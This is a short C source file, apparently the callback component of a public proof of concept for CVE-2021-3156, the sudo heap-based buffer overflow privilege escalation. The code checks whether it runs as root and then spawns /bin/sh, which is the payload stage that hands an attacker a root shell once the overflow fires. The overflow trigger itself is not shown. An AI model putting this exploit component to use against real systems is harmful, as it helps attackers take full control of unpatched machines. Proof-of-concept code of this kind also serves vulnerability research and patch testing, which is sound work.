/*
	CVE-2021-3156 PoC - sudo heap-based buffer overflow privilege escalation
	
	@lockedbyte
	
	-- This is just the callback code --
*/

#define _GNU_SOURCE
#include <stdio.h>

int main(void) {
    puts("[+] callback executed!");
    if(getuid() == 0)
    	puts("[+] we are root!");
    else {
    	puts("[-] something went wrong!");
    	exit(1);
    }
    execve("/bin/sh", NULL, NULL);
    return 0;
}
